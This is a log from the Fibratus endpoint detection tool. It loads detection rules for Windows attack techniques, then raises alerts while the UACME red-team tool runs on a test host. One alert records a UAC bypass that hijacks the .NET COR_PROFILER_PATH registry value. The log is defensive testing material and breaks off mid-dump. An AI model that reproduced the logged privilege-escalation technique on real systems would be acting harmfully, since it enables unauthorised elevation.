C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:41:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:41:39+01:00 level=info msg=bootstrapping with pid 3920. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:41:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-image=>true max-buffers=>36 stack-enrichment=>true enable-handle=>false enable-threadpool=>false enable-fileio=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true buffer-size=>512 flush-interval=>1s enable-vamap=>true min-buffers=>16 enable-dns=>false enable-audit-api=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-age=>0 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false method=>POST enabled=>false] amqp=>[ routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 durable=>false enabled=>false timeout=>5s passive=>false vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient] elasticsearch=>[ sniff=>false enabled=>false bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s trace-log=>false flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] fastscan=>true skip-mmaps=>false skip-files=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:41:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:41:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:41:51+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 6013606 + Pid: 4744 + Tid: 1868 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 20:41:47.3254939 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce863683a840, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 4744 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T20:42:21+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 6049340 + Pid: 12756 + Tid: 7796 + Type: SetThreadContext + CPU: 1 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-25 20:42:20.2953076 +0100 CET + Params: statusâžœ Success + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: Thread context set from unbacked memory, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 12756 + Ppid: 17776 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=9.0084" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source\Akagi" "--pswd=C:\Fibratus\redteam\UACME\Source\Akagi" "--execution-time=9.0084" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T20:42:21+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |C:\Users\nedo\AppData\Local\Temp\pe386.dll| + Event(s): + Seq: 6049808 + Pid: 18488 + Tid: 9440 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 20:42:20.889164 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce863683a840, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 18488 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows 